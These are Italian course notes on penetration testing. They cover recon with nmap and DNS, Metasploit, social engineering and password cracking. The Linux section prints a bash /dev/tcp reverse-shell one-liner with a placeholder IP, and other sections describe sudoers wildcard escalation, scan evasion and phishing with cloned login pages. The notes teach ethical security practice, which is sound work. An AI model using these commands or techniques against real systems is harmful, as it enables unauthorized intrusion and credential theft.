Contents

1 Cos'è l'hacking

Bisogna innanzitutto fare distinzione fra DDoS ed Hacking:

- DDoS nega un servizio ad una qualche società/compagna, esaurendone le risorse. Il modo più gettonato è eseguire un elevato numero di connessioni verso i server che offrono i servizi, in modo da interrompere il servizio. Questo non è però hacking, non ha tecniche interessanti da sfruttare
- Hacking: tecniche per ottenere accesso non autorizzato ala macchina (ma in realtà servirà) con lo scopo finale di proteggere la macchina su cui abbiamo ottenuto l'accesso.
  Accedo come utente root, riporto i passi che mi hanno permesso di accedervi per far si che il cliente che ha richiesto il test possa sistemare la sicurezza

Come possono due entità comunicare in modo sicuro, in modo che ci sia integrità e confidenzialità? Si introducono appositi protocolli e tecniche crittografiche etc... in modo da rendere la sicurezza sicura. Uso TLS e mi sento abbastanza sicuro, in teoria: chi però implementa il protocollo in software può introdurre delle funzionalità nuove che si pensa siano innocue ma poi sono devastanti.
esempio: ricorda l'hearthbleed di openSSL, la funzionalità aggiunta era la possibilità di hearthbeat per TLS/DTLS. Vulnerabilità affligge tutti i dispositivi che utilizzano la libreria, era possibile leggere tutti i dati all'interno del dispositivo: password, cookies, etc... Non era un malware, ma una vulnerabilità derivante da ciò che si pensava essere una funzionalità. In cosa consisteva la vulnerabilità: buffer overflow, invia più caratteri di quelli necessari andando a pescare contenuti di aree di memoria adiacenti.

Take home message: tutte le vulnerabilità derivano dal fatto che l'utente può inserire delle informazioni in un sistema informatico che possono:

- avere valore sbagliato
- avere dimensione sbagliata
- input può essere da utente autorizzato ma malevolo
- input da utente non autorizzato, sia malevolo che non

Problema è che input di utenti in generale vanno sempre validati in forma e contenuto, le funzioni di sicurezza non devono mai basarsi su input non validato. Questa cosa va fatta nelle sezioni più critiche del sistema: se server avesse controllato la lunghezza della parola data con quella fornita dall'utente, non ci sarebbe stato problema.
In linea di principio è complicato avere tutto sott'occhio, specialmente perché le configurazioni sono fatte da persone. La teoria non è uguale al mondo reale: un protocollo che in teoria funziona bene, può essere implementato male.

1.1 Hacker vs penetration testers

C'è una delineazione molto chiara e generale su quelle che sono le figure, con annessa legalità/illegalità. "Cappelli": figura che si è sviluppata negli anni:

- script kiddies: prendono programmi dalla rete e li utilizzano per attaccare le reti per "farsi un nome"
- attivisti: motivati da scopi politici o religiosi che effettuano attacchi informatici con questi scopi
- white hat hackers: i "buoni", operavano comunque nell'illegalità. Esperti di sicurezza, il cui scopo era di dimostrare vulnerabilità di sistemi affinché queste venissero fixate.

- black hat hackers: operano nell'illegalità al fine di ottenere accesso non autorizzato per interessi personali: ottenere un nome nella comunità, soldi, vendetta, cerare bot-net etc... Ne fanno parte:
  - gruppi sponsorizzati dallo stato
  - terroristi
  - spie

Tutto ciò visto fin ora opera nell'illegalità, i penetration tester invece no: il pentester ha l'autorizzazione da parte del cliente, mentre l'hacker no. Lo scopo dei pentester è quello di aumentare la consapevolezza in ambito di sicurezza, ottenendo anche permessi per fare test.
Non esistevano questi confini legali, ad esempio nel caso dei white hat, se qualcuno trova una vulnerabilità in un'azienda è come dirglielo: potrebbe farci causa, ignorarla etc... C'è sempre stata un "area grigia", oggi si è quasi arrivati ad un punto fisso che è quello dei bug bounties: viene dato premio in denaro dall'azienda a chi trova la vulnerabilità. Vengono dati dei limiti entro cui poter agire, se si trova la vulnerabilità si ottiene un premio in denaro.

2 Fasi di un penetration test

Lo scopo sarà quello di effettuare un penetration test su un sistema. Il test andrà strutturato, ci sono delle fasi prestabilite, lo scopo del test è ottenere accesso come utente con i permessi più elevati nel sistema. Il test potrebbe essere automatizzato, oppure essere fatto a mano: alcuni tool rendono veloci degli steps, ma altri step vanno fatti a mano (occorre pensare in modo creativo). 4 macro-step:

- gathering information
- identificare possibili entry point
- tentativo di accesso

- report di ciò che è stato trovato

Il vulnerability assessment può essere automatizzato, ci sono dei tool che permettono di farlo ma può essere molto poco affidabile e produce alto rate di falsi positivi: non c'è la certezza che il sistema sia vulnerabile ad una certa vulnerabilità.
Invece, il penetration test ha un'accuratezza molto alta e produce un risultato binario: successo o insuccesso, quindi o il sistema non è sicuro o potrebbe essere sicuro.
Gli ambiti del penetration test sono vari:

- target recon: sfruttare software vulnerabile
- social engineering: sfruttare interazione con le persone per ottenere informazioni riservate
- physical facilities adult
- ...

Un penetration test può portare a risultati che un semplice vulenaribility assessment non può, l'azienda può sistemare tutte le vulnerabilità trovate (anche in termini di persone). Nel test è fornita l'autorizzazione, ma nel contratto stipulato con l'azienda poterebbe essere possibile non accedere a determinate parti del sistema. Nel caso di un attacco hacker, le fasi sono le stesse del pentest ma in più ci sono fasi di mantenimento di acceso (dopo averlo ottenuto) e di copertura tracce.

2.1 The killchain model: APT

Il modello che si usa nel caso di un attacco informatico. Le fasi sono di più, ma ognuna è mappabile su quelle viste nel pentest:

- reconnaissance: information gathering
- weaponization: cerco arma con cui ottenere l'accesso
- delivery: mando payload malevolo per accedere

- exploitation: fase in cui si esegue un exploit
- installation: per mantenere l'accesso, posso installare malware sul PC per raccogliere informazioni nel tempo
- command and control: l'attaccante installa un agent, che comunica con un mio server per riceve comandi al fine di ottenere controllo della macchina. È l'agent che manda pacchetti verso il server e non il viceversa
- exfiltration: esporto informazioni utili dalla macchina

3 Hunder the hood of applications

Cosa accade "dietro le quinte" quando provo ad accedere ad una qualche applicazione che sta nel web: ho il mio client ed il server, di mezzo l'Internet.
Supponiamo di considerare un'applicazione web: per accedere ad un sito web si usa nella maggior parte dei casi uno URL per indicare la risorsa del web a cui accedere.
HTTP: protocollo costituito da messaggi human-readable, è possibile ispezionare i pacchetti di rete che vanno dal mio client verso il server e viceversa.
Lo stesso vale per SMTP e come per HTTP di default non è inclusa alcuna autenticazione (oggi è possibile configurare server SMTP per rifiutare e-mail non autenticate), ma è possibile trovar e alcuni server in cui è possibile mandare e-mail nascondendo il mittente.
telnet: software che permette il collegamento con un server e l'invio di messaggi, ad esempio posso richiedere una pagina web (vedo il sorgente).
Quello che accadeva qualche tempo fa era la possibilità di mandare mail senza specificare il mittente (no auth).

4 Linux overview - privilegi e comandi

Permessi ad ogni file o directory di Linux è associato un utente proprietario che avrà determinati privilegi di lettura, scrittura ed esecuzione su questo file, inoltre ci saranno dei privilegi per il gruppo e per gli others.
I permessi vengono visti come dei bit ed è possibile cambiarli con il comando chmod:

- convertendo i bit in base 10 (101 = 4 0 2) e facendo la somma, si ottiene un valore che è possibile assegnare a user, group ed others (ad esempio chmod 666 <file>)
- usando i flag "ugo" (user, group, owner), con il "+" o "-" a seconda se si vuole aggiungere o togliere il privilegio, ed il privilegi/o (rwe ad esempio)

Sudoers la lista degli utenti nel sistema si trova nel file /ect/passwd e con il comando id <utente> è possibile avere informazioni ulteriori sullo specifico utente.
Con il comando su è possibile effettuare il log in con un altro utente, ed è anche possibile entrare come root. *L'utente di root è pericolosissimo*: può eseguire qualsiasi comando senza richiedere password e senza ottenere warning. Con il comando sudo è possibile impersonare altri utenti, utilizzando la password dell'utente corrente, la configurazione del programma è nel file /etc/sudoers, che se mail configurato può portare ad avere gravi vulnerabilità: avendo ad esempio un utente generico con configurazione ALL=(root) NOPASSWD /bin/cat * è possibile per l'utente eseguire il programma cat seguito da qualsiasi altra cosa, in quando la wildcard "*" può essere sostituita con qualsiasi altra stringa, senza necessità di password e come utente root.

SETUID/SETGID i due flag SETUID/SETGID, se impostati, permettono di cambiare l'esecuzione di un file, e quindi del relativo processo che viene creato, rispettivamente all'utente proprietario del file o al gruppo. Questo cambio di associazione può avvenire senza necessità di password, quindi anche qui è possibile avere gravi conseguenze nel caso in cui il processo fosse vulnerabile (ad esempio ad attacchi di tipo hearthbleed / stack o heap overflow). Per poter settare i bit, è necessario settare il bit s con chmod, in questo modo sarà possibile cambiare il proprietario o il gruppo del processo (perché non funziona di default). Per poter scoprire quali file permettono di cercare file con bit attivi, mediante il comando find + flags.

Mount comando per montare/smontare partizioni e vedere le partizioni disponibili. Su Linux qualunque cosa è un file, per vedere quali sono le partizioni si può controllare il file /etc/fstab, contiene le partizioni da montare di default. Utilità nel pentest: riesco ad ottenere l'accesso ad una macchina terza, per fare l'enumeration una volta avuto l'accesso nella macchina, ossia per poter ottenere più possibili informazioni sulla macchina, col mount possiamo avere informazione sui vari dischi, su cui poi andare a cercare i file.

Compression il formato comune è .tar, l'obietto nel pentest è quello di dare la possibilità di raccogliere le informazioni insieme in modo da poterli portare sulla propria macchina per analizzarli. È possibile passare alcuni flag, la cartella in cui comprimere e cosa andare a comprimere.
/usr/share/wordlists contiene un tar.gz chiamato rockyou, che contiene circa 15M di password risultate da un dataleak.

Processes la lista dei processi è visibile a tutti gli utenti[1], con ps otteniamo una tabella in cui abbiamo diverse informazioni utili

[1] anche i non privilegiati

Cron ogni Sistema Operativo è dotato di un job scheduler gestito dall'utente, i comandi o processi di cron vengono schedulati dal sistema in base a determinate impostazioni, definite in file appositi, il file principale è /etc/crontab: è editabile solo da root, ma leggibile da tutti gli utenti del sistema. È utile in quanto spesso, in caso di pentesting o CTF, potremmo ritrovarci nel caso in cui gli admin hanno messo degli specifici comandi nel crontab, in modo da poterli sfruttare.

SSH usando coppia di pub/pr key (RSA) può essere possibile sfruttare delle mal configurazioni per poter ottenere la chiave privata, nel caso in cui non sia stata salvata correttamente. SSH è un tool molto versatile, che permettono oltre che amministrare un server, usare la macchina target per fare molte altre cose.

Reverse shell se prendiamo una reverse shell, potrebbe non funzionare con /bin/bash -i>&/dev/tcp/ip/port 0>&1, è possibile mettere /bin/bash in un altro: /bin/bash -c "/bin/bash -i >&/dev/tcp/ip/port 0>&1"

5 Social engineering

Tattica molto utilizzata in ambito reale, è la metodologia che offre il rate più alto di successo in un pentest. In generale, è l'arte di manipolare le persone per fargli fare azioni che rivelano o divulgano informazioni. Un esempio, che non riguarda l'hacking, era quello di andare al Mc drive per ottenere ordini senza pagare.
Esempi reali: campagna di phishing, iniziata dal governo Nord koreano. L'attacco era incentrato sul creare account fake su social network, in cui venivano pubblicati articoli sulla sicurezza informatica, semplicemente collegandosi al sito dei fake researchers riuscivano ad ottenere una shell sul PC delle vittime (sfruttato uno 0 day di Google Chrome). Un altro modo era quello di condividere un progetto di Visual Studio: erano inclusi gli script di compilazione ed esecuzione, in

cui c'erano delle reverse shell. La tecnica è molto attuale e raccoglie e cattura molte persone, anche ricercatori di sicurezza informatica.
È necessaria l'autorizzazione per effettuare questo tipo di attività, le tattiche si dividono in due insieme:

- remote: non c'è contatto fisico con la vittima, ad esempio una chiamata, una e-mail di phishing
- fisiche: contatto diretto con la vittima

Esempi: sito fake, mail fake che è possibile collegare ad un sito web fake. Una delle tattiche più usate è la patch: si dice che il SO non è aggiornato/non sicuro e si chiede di scaricare la patch (che ovviamente è un virus).
Nella mail è sia possibile usare la tecnica della patch, sia quella del sito fake o anche l'inclusione di un allegato malevolo. Un altra consiste nel comprare un dominio, creare un sotto-dominio noto (poste.it) per fregare quelli poco attenti. Come scoprire una fake mail: nei primi mail server da cui passa l'email, il server deve avere lo stesso dominio del mittente, altrimenti l'invio non è autenticato.
Per far si che una fake mail riceva risposta ad un indirizzo diverso dal mittente (che sarà un indirizzo vero) è possibile configurare il campo *reply To*: si inserisce la mail su cui si vuole la risposta[2] (ad un occhio poco attento, non fa differenza)
Prima delle rubber ducky, si usavano chiavette usb con dentro file malevoli (in estensioni note come word o excel), da un nome "appetibile".

SET: Social Engineering Toolkit presente su kali, facilita attacchi di social engineering, permette di fare clone della pagina di login di un sito web in modo che le credenziali vengano spedite su un server web di nostra scelta.
Nel social engineering fisico, si cerca di ottenere accesso fisico: molto

[2]passando sul nome, si vede che l'indirizzo non è quello originale

pericoloso, è possibile trovare prese/dispositivi sbloccati etc... Vengono usate diverse tattiche:

- nuovo dipendente
- dipendente di un'azienda di cui il target è il cliente

diversi tool per poter clonare badge (che spesso funzionano con NFC) etc...

6 Reconnaisance

La prima fase di un pentest è al raccolta di informazioni, fase che è fra le più lunghe: non ci si può sbagliare, una volta trovato il punto di accesso o lo buchi on non lo buchi.
Abbiamo un target, dove il target può essere una o più macchine, un'applicazione web o un'azienda vera e propria. Occorre raccogliere la maggior parte delle informazioni, ci sono due categorie di raccolta di informazioni:

- attiva
- passiva

6.1 Raccolta passiva

Non c'è mai contatto diretto con la vittima, anche ad esempio visitare il sito web (c'è scambio di pacchetti, quindi è un contatto). Si intende quindi la ricerca via browser web etc..., quindi la ricerca di informazioni che sono di pubblico dominio, anche detto OSINT. Anche solo tramite l'OSINT si riescono a trovare una grande quantità di informazioni.

6.1.1 Google Dorking

Meccanismo di funzionamento con cui è possibile fare delle query molto precise, senza violare nulla. È possibile restringere la ricerca

solo nell'URL o nel testo, anche unire più filtri, il funzionamento è nome_filtro:valore.

6.1.2 Online platforms

Altri motori di ricerca che permettono di fare ricerche più mirate,come Wayback machine, che permettono di ritrovare versioni vecchie del sito, che da informazioni che sono state poi cancellate. Un altro sito interessante è pastebin, usato per sharare velocemente file di testo, spesso le persone lo usano pensando che sia privato.
C'è poi Shodan, che è un motore di ricerca per dispositivi connessi ad Internet, che permette di cercare **qualsiasi dispositivo connesso ad Internet**, ci sono dispositivi divisi per marca, ma anche per cui c'è il match con una nuova vulnerabilità.
Anche sui social network è possibile trovare svariate informazioni, in base ai filtri usati.

6.1.3 Whois

Tool a cui passiamo un dominio, che restituisce molte informazioni utili fra cui:

- proprietario di dominio
- amministratore
- contatto tecnico
- nameservers: l'informazione più utile, in quanto possiamo sfruttare il DNS per raccogliere ulteriori informazioni sul target. Vengono restituiti i server DNS responsabili per il dominio

spesso, se riusciamo ad ottenere il nome della persona, sappiamo l'username della persona stessa.

6.1.4 Recon NG

Framework per fare raccolta informazioni sul web, è diviso in moduli. È possibile usarlo per interagire con API di Google, Facebook etc...

6.2 Raccolta attiva

Map dell'infrastruttura di rete target, cercando servizi, vulnerabilità, informazioni che dovrebbero essere riservate etc... effettuando un contatto diretto col target. È questa la fase in cui si raccolgono davvero informazioni importanti.

6.2.1 DNS

L'informazione più importante che restituisce il whois sono i nameservers, possiamo usare DNS per cercare altre informazioni. Si parte dal root, seguono i TLD, poi i server di secondo livello e poi le foglie. L'organizzazione ad albero non permette di avere duplicati, l'albero viene diviso in zone: ad esempio, tutti i sotto-dominii di uniroma2 sono la zona di uniroma2, le zone possono essere gestite da un particolare server DNS.
Nel DNS, oltre a client e server c'è anche il resolver, che accetta le richieste dai client e le manda ai server. È il componente che fa si che le zone vengano gestite correttamente, permette inoltre di fare 2 tipi di richieste:

- ricorsive: il server risponde sempre
- iterative: il server risponde con quale server va contattato per conoscere la risposta

Il DNS gestisce vari record, tra cui i più interessanti sono

- i record NS, che forniscono i nameserver per un dominio
- MX, che contiene i nomi dei server mail
- CNAME, occorre per gli alias

- TXT, contiene informazioni human readable

Per interagire con il DNS è possibile usare il comando dig. Per poter enumerare gli host all'interno di un dominio occorre fare forward lookup bruteforce, il contrario è reverse lookup bruteforce, con cui conoscendo un IP di partenza, è possibile (tramite i record PTR se configurati) trovare alcuni domain name mancanti.
C'è un tipo di attacco, che si chiama zone transfer: siccome il DNS è distribuito e quindi ci sono dei server responsabili per una zona, è possibile trasferire i dati per una zona. Con questo procedimento, il NS master invia una copia al NS slave, nell'attacco fingiamo di essere un server slave e chiediamo una copia della zona, se il server è configurato male la otteniamo. Se riusciamo, l'informazione che otteniamo è la lista di tutti gli host della zona. Si può fare con il comando dig:

- trovare il nameserver
- effettuare dig axsf per far trasferire la copia della zona.

DNSRecon permette di automatizzare il reverse lookup, passando in input un range di indirizzi ip <startIp, endIP>, è possibile automatizzare anche il forward lookup.

6.3 Enumeration

Abbiamo una probabile lista di host, (nomi ed IP) che possiamo considerare come una probabile lista di punti di accesso. Una volta che abbiamo a disposizione un host (ci concentriamo su una macchina particolare), se sulla macchina c'è un server web allora ci sarà aperta la porta 80. Possiamo quindi interagire col server web che è in esecuzione sulla macchina, ma questa interazione è applicabile su tutte le macchine. La porta aperta lato server è sempre la stessa, una volta che il servizio è in esecuzione, mentre per il client viene scelta randomicamente dal kernel. Inoltre, per i servizi standard sono state documentate e raccomandate alcune porte (ad esempio la porta 80

per HTTP). Dobbiamo ancora raccogliere informazioni, siamo nella fase di raccolta attiva, per mappare un infrastruttura di rete è necessario scambiare pacchetti.

6.3.1 Scansione di porte - nmap

È un operazione effettuata anche dagli amministratori di rete, per vari motivi. L'utilità è sia lato attaccante che lato difensore, per effettuare la scansione tutti i tool devono usare TCP o UDP, spesso ci si concentra sulle scansioni TCP ma **NON DIMENTICARSI DI UDP:**può capitare di avere un servizio aperto su UDP che contiene informazioni importanti.
Nmap: standard del port scanning, molto robusto. Offre un risultato per una porta di 3 tipi:

- aperta: si completa una connessione TCP
- chiusa: riceviamo un pacchetto di RST
- filtrata: uno stato che viene assegnato quando il pacchetto inviato non riceve risposta

se non specifichiamo le porte su cui effettuare la scansione, nmap userà le 1000 porte più popolari. Nmap permette di specificare alcune opzioni, ad esempio il flag -S permette di spoofare il proprio indirizzo (ma per ricevere le risposte? Te la pii nder culo), l'opzione -D invece permette di specificare una lista di IP, ne verrà preso uno a cui inviare la risposta. In questo modo vengono ricevute le risposte ed è più difficile capire l'IP che effettua la scansione

Basic firewall evasion nmap cerca di capire se l'host è attivo oppure no, quindi per default manda un pacchetto di ping. Se l'host non risponde, per nmap è down e quindi non inizia la scansione delle porte. Magari sappiamo che non risponde per un motivo particolare, ad esempio se vengono bloccati i pacchetti di tipo ping da un firewall o dall'host stesso, è possibile specificarlo ad nmap col flag -P0.

Gathering version info per alcune porte è stato standardizzato il servizio per quella porta, ma non è vietato associare il servizio che si preferisce. Quindi, per conoscere il vero servizio e la versione del servizio dietro una porta, in quanto è utile per cercare vulnerabilità per la specifica versione. C'è il flag -sV che fa questo.
Di default, nmap esegue tutto l'handshake a 3 vie per connessioni TCP, questo da un punto di vista di monitoring può allertare, visto che è un grande traffico in poco tempo. Inoltre, quando viene effettuata una connessione, questa viene scritta sul log ed infine se la connessione viene instaurata ci sono le risorse allocate dal kernel nella RAM del server. Per questo, è meglio fare una scansione di tipo syn: se il server risponde syn ack, nmap manda un pacchetto di rst; se non risponde, la connessione è considerata chiusa. L'enorme vantaggio è che nei log del server non comparirà la connessione (in quanto non è mai stata creata), inoltre l'impatto sul traffico generato è molto ridotta e non vengono sprecate risorse sul server.

Scansioni stealth utile in quanto non si appare nel log dell'applicazione, da informazioni in più sul server, in quanto in caso di Windows la scansione stealth restituisce l'informazione che tutte le porte sono chiuse.

Se con nmap si prova a pingare una macchina in una sotto-rete diversa, è possibile effettuare una scansione di tipo ping: nmap, oltre ad effettuare il ping, manda anche un pacchetto TCP sulla porta 80 e se l'host è attivo risponderà con RST.
L'opzione di scan con l'ACK non restituirà mai una porta aperta, può solo dire se è filtrata o meno, È molto utile per scoprire se il pacchetto attraversa il firewall o IDS, in quanto ACK è un meccanismo di TCP (a differenza del SYN che instaura una connessione) e quindi un meccanismo poco sofisticato può farlo passare.

OS fingerprint nmap può scoprire il SO dell'host target. Vulnerabilità di Windows: ransomware "Wannacry" di tipo 0-interaction, ovvero una volta scoperto che il SO era Windows, si lanciava l'exploit ed avevamo una shell sulla macchina target. Quindi conoscere il SO è molto importante, anche da un punto di vista difensivo per poter documentare i SO degli host.
nmap ha due modi di scansione:

- attiva: manda diversi pacchetti, è più affidabile della passiva e più veloce
- passiva: monitoring del traffico, cerca pattern caratteristici dei SO

È prima necessario effettuare la scansione di alcune porte, restituisce diverse informazioni sulla versione del SO.

Per l'utilizzo, prima scansionare tutte le porte (salvando magari l'output su file), per poi partire con ricerche a grana più fine sulle singole porte trovate.

Ci sono alcuni script di nmap che sono più aggressivi, quelli che fanno parte della categoria default sono i meno aggressivi e che vengono lanciati in automatico con il flag -A o -sC. Per poter rientrare nella categoria default, lo script deve avere diverse caratteristiche. È possibile specificare quali script usare mediante gli operatori and or not etc..., basta passare come stringa, ad esempio "default and safe" ed inoltre è possibile passare parametri agli script.
nmap ha degli script già pronti per alcune categorie, si possono usare in molti casi e riportano come informazione se il target è o meno vulnerabile.

6.3.2 SMTP enumeration

Per inviare e-mail in modo anonimo basta collegarsi ad un server SMTP che non gestisce autenticazione o autorizzazione. È possibile

scrivere uno script nmap per fare questo controllo, quindi si prova ad inviare una e-mail (creando tutti i pacchetti del protocollo) per vedere se il server è vulnerabile o no.
SMTP di default non forza l'autenticazione, ma è possibile forzarla ed in particolare di autenticarsi come un possibile utente. SMTP chiederà la password se l'utente esiste, oppure chiederà una password. Immaginiamo di prendere una lista di utenti con SMTP, possiamo raccogliere questa una serie di informazioni per quel server.

7 Weaponization

Dopo la raccolta informazioni, ne cerchiamo di ulteriori per poter ottenere l'accesso. Avviene solo lato attacker: c'è l'exploit, così come anche il modo per sfruttarlo, ma non è ancora stato lanciato (avverrà nella fase successiva). Si parte dal servizio, che può essere mal configurato

7.1 Samba - SMB

Protocollo usato da Windows e Linux, permette lo scambio di cartelle e file, è abilitato di default su Windows. Negli anni è risultato molto vulnerabile, affliggeva tutte le versioni di Win fino ad XP, ma anche le successive se configurato male. Di default ascolta su porte 139 e 445 (TCP), una volta capito che su una macchina c'è Samba, si possono effettuare diversi tool per cercare le mal configurazioni, tutti si dividono in 2 categorie:

- tool che fanno la scansione di server Samba (come Enum4Linux)
- tool che si comportano come client Samba

un altro modo è quello di usare script nmap (iniziano sempre col nome del protocollo).

8 Vulenariblity assessment and penetartion testing

8.1 Metasploitable

Metasploitable è una macchina virtuale Linux che presenta svariarti servizi volutamente vulnerabili (mal configurati etc) per esercitarsi. **ATTENZIONE:** è consigliato installare Metasploitable come VM con interfaccia host only e non bridged, in quanto altrimenti viene vista come una macchina nella rete (col relativo IP) e può essere usato da altri nella sotto-rete privata per accedere alla macchina host.

NFS protocollo per poter condividere file e cartelle in una rete, tra client e server. Se mal configurato, è possibile che un client acceda ad una cartella, montarla sul proprio file system e poter scrivere/leggere file. Di default, l'utente fornito da NFS è con pochi privilegi, ma c'è un opzione che fa si che una volta montato la cartella, non avviene l'impersonificazione come utente *nobody*, bensì come utente con il quale è stato eseguito l'accesso dalla macchina, quindi è possibile leggere/scrivere come root.

FTP vulnerabilità sulla porta 21, associata ad una particolare versione: era stata aggiunta una backdoor alla compilazione del server FTP

È importante verificare il digest dell'hash associato ai file, in modo da avere una certezza sul fatto che il file scaricato è quello corretto.

8.2 Classificazione delle vulnerabilità

Tutte le vulnerabilità sono state classificate: ognuna ha un numero univoco che la identifica, il CVE[3]. Con il CVE è possibile ricercare le vulnerabilità per un particolare programma.

[3]Common Vulnerability Enumeration

CWE Common Weakness Enumeration, che raggruppa le vulnerabilità in base alla debolezza. Questo è utile nella compilazione del report per andare a specificare il tipo di vulnerabilità. C'è anche un ranking delle CWE, stilata annualmente in base alle CWE trovate ed agli attacchi messi in atto. Può essere utile testare le vulnerabilità sul software proprio, per verificare che non siano presenti

Attack patterns (Common Attack Patterns Enumeration and Classification) È un dizionario che spiega, dato un attacco, come effettuarlo e come mitigarlo e risolverlo. Il CAPEC è un codice associato all'attacco, che permette di cercarlo, ma le stesse informazioni possono essere trovate in rete.

Per la ricerca della CVE, è possibile consultare diversi siti con DB di CVE, in cui è possibile effettuare ricerche in base a vari parametri. Una volta ottenuta la CVE, occorre trovare l'exploit per il CVE; siccome il DB è gestito dall'azienda di kali, è presente anche in kali stesso offline.

8.3 Tool per vulnerability assessment

Tool open source più usato per vulnerability assessment, specificando un host name su cui fare l'assessment. OpenVAS, oltre a verificare se sono presenti i CVE, fa anche altro in automatico ed è una cosa che solitamente si fa in un pen-test, in quanto questo permette di sfruttare, a partire dal report ottenuto, le possibili vulnerabilità.
Armitage GUI, basato su Metasploit, è presente su kali: quando viene fatta la scansione della rete (usando una versione di nmap embedded), è possibile far partire gli exploit di Metasploit automaticamente, se si riesce ad ottenere l'accesso ad una shell, questa compare in basso.

8.4 Metasploit

Metasploit copre tutte le fasi dell'attacco cyber viste fin ora: dalla raccolta informazioni, al weaponization, all'exploit vero e proprio e poi alle operazioni di post exploitation. Il processo prevede:

- scansione dell'host
- primo accesso, mediante exploit o accesso con credenziali
- si fa privilege escalation
- si cercano informazioni, andando a fare il dump degli hash, che possono essere utili.

Metasploit aiuta in tutti questi step, è un framework estendibile presente in versione free su Kali. Alcune definizioni:

- vulnerabilità: una debolezza del sistema, che permette di effettuare un exploit
- exploit: attacco al sistema, che utilizza una vulnerabilità usando un payload
- un payload è un pezzo di codice che viene eseguito in un sistema vulnerabile, dopo avere exploitato tale vulnerabilità

Su Metasploit ci sono altri due concetti importanti:

- module: elemento chiave di Metasploit, se utilizziamo un exploit o qualsiasi alto tool questo è un modulo
- listener: moduli particolari, che permettono di mettersi in ascolto su una porta.

Oltre a tutto ciò ci sono le interfacce di Metasploit, sia GUI che da CLI (la più usata è questa).

Auxiliary: sono dei moduli usati per automatizzare dei task, ad esempio la scansione delle porte, uno script che controlla se è abilitato il login anonimo con FTP etc...

Encoders: permettono di cambiare il payload, in quanto ad esempio un anti-virus può essere in grado di rilevarla. Ci sono vari encoder su Metasploit, tra i più noti c'è Shikata_ga_nai che è polimorfico, ovvero preso in input il file, ne produce uno con byte differenti ma identico a quello di partenza (per fregare l'anti-virus).

Tra i tool più usati c'è Msfvenom, che permette di creare payload ed applicarci sopra qualsiasi encoding, restituendo l'output in molti formati diversi.
Prima di eseguire msfconsole, occorre eseguire postgresql con `systemctl`, poi eseguire `msfdb init` per inizializzare il DB di metasploit

9 Sicurezza di password

Metodo di autenticazione più utilizzato per l'accesso a dei servizi, è importante il tema della sicurezza delle password. Sono molto frequenti i data breach nel web, che consentono a vari gruppi di rivendere o di divulgare password o hash di password trovate nei data breach. Le password vengono usate per l'autenticazione, ovvero una prova del fatto che sono chi dico di essere (relativamente ad uno username), il segreto è conosciuto solo da me e dal servizio presso cui mi autentico. Il problema sta nel protocollo usato per l'autenticazione: se qualcuno si mette in mezzo, può leggere cosa scambio nel web, ma questo può essere risolto usando protocolli appositi come TLS. L'altro problema è come memorizzare le password, sia lato client che lato server: quando un utente si registra, un server memorizza un identificativo per l'utente, lo username e la password. Ci sono diversi problemi:

- il servizio può essere compromesso, quindi le informazioni saranno in chiaro. Una volta entrato in possesso della password in chiaro della password, è probabile che questa sia stata riusata per altri servizi (magari con leggeri cambiamenti)

- le password generate dagli utenti sono deboli

se la password è molto corta (< 16 caratteri) diventa possibile un brute force attack, inoltre di solito l'entropia è bassa.
La soluzione per salvare una password prevede l'utilizzo di funzioni di hash. Oltre alle funzioni hash è possibile aggiungere del "salt" alle password, quindi l'hash sarà fatto sulla password unita a del salt.

Password in Linux le password vengono cifrate nel file /etc/shadow, utilizza il salt oltre che alla password, usando come algoritmo SHA-512. Quando si aggiunge un nuovo utente, sia nel passwd che nello shadow la password e lo username in passwd. Qualsiasi sistema che abbia necessità di memorizzare delle password utilizza salt.

9.1 John The Ripper

Dopo aver ottenuto le hash della password, non è possibile risalire alla stringa che ha generato il digest: dictonary attack, in cui creo un dizionario di password e ne faccio l'hash. Se trovo una corrispondenza, ho "trovato" la password (o magari una collisione). È la tecnica che viene usata spesso, può costare molto ma essendo off-line non ci sono restrizioni.
John the Ripper è un tool che permette di crackare in diverse modalità le varie hash di password che possono servire. Inizialmente, è stato pensato per andare a testare la sicurezza della password (ad esempio per un sys admin), permette di utilizzare diverse modalità. Funziona su diverse piattaforme, la più interessante è quella CUDA (per il calcolo parallelo). Permette diversi modi di esecuzione:

- wordlist: prende in input la lista di hash da crackare, una lista di parole o informazioni relative all'utente per risalire alla password utente
- modalità single: in base ad informazioni dell'utente si cerca di crackare

- incrementale: modalità brute-force, può essere fattibile se fatto offline

tutte le modalità sono definite nel file john.conf

Creazione del dizionario per creare il dizionario da usare ci sono diverse possibilità:

- wordlist già esistenti (ad esempio su GitHub)
- cercare informazioni dell'utente targettato o del gruppo di utenti targettati
- ...

John the Ripper cerca di trovare la password o qualcosa di relativo alla password: spesso, partendo da una password si cerca di variarla in qualche modo (ad esempio con lettere, numeri al posto di vocali etc). È possibile quindi costruire dei pattern a partire da una parola (ad esempio "casa") in modo da ampliare il dizionario ed aumentare la percentuale di casi in cui si cracka la password. È anche possibile entrare in possesso dell'hash della password di una rete wireless: ci si mette vicino alla rete, si fa un dump dei pacchetti scambiati con il router da un utente e si ricava l'hash della password.

Hashcat "alter ego" di John teh Ripper, più funzionale per il cracking di hash utilizzando le GPU, permette di specificare delle maschere, è inoltre più flessibile nella definizione delle regole.

NB:ai fini dell'esame, se per crackare un hash ci metti più di 5 minuti, vuol dire che hai sbagliato qualcosa (basta il dizionario rock-you).

Cracking online Hydra è un tool per il cracking delle password online: supporta moltissimi protocolli, possiamo passare una lista di username e di passwowrd e lui le tenta tutte.

9.2 Windows hashes

Su Linux, le password sono salvate come hash, usando anche un valore di salt. Al login, si fa l'hash della password passata e si confronta con l'hash salvato. Nel caso di Windows, un hash può essere importante tanto quanto lo è una password: Windows usa molti tipi di hash, ci sono 3 tipi generali

- LM: hash delle prime versioni, ma ancora oggi usato. È un hash function veloce da crakcare, le hash sono salvate in un file tipo /etc/shadow, che però si chiama SAM. Windows può essere installato installato in modalità domain, dove il db si chiama NTDS e si trova su una "macchina" speciale che è il Domain Controller. L'autenticazione è stata spenta da Win Vista.
- NTLM: nuovo tipo di hash, con cui Win10 salva gli hash sul DB. Facendo il dump del DB, non troviamo un hash, bensì hash:hash, tutto quello che viene prima dei 2 punti è l'hash LM, l'altro è l'hash NT. La cosa che sembra strana è che il salvataggio avviene due volte, non sempre in quanto spesso l'hash LM non è presente ma viene comunque chiamato NTLM.
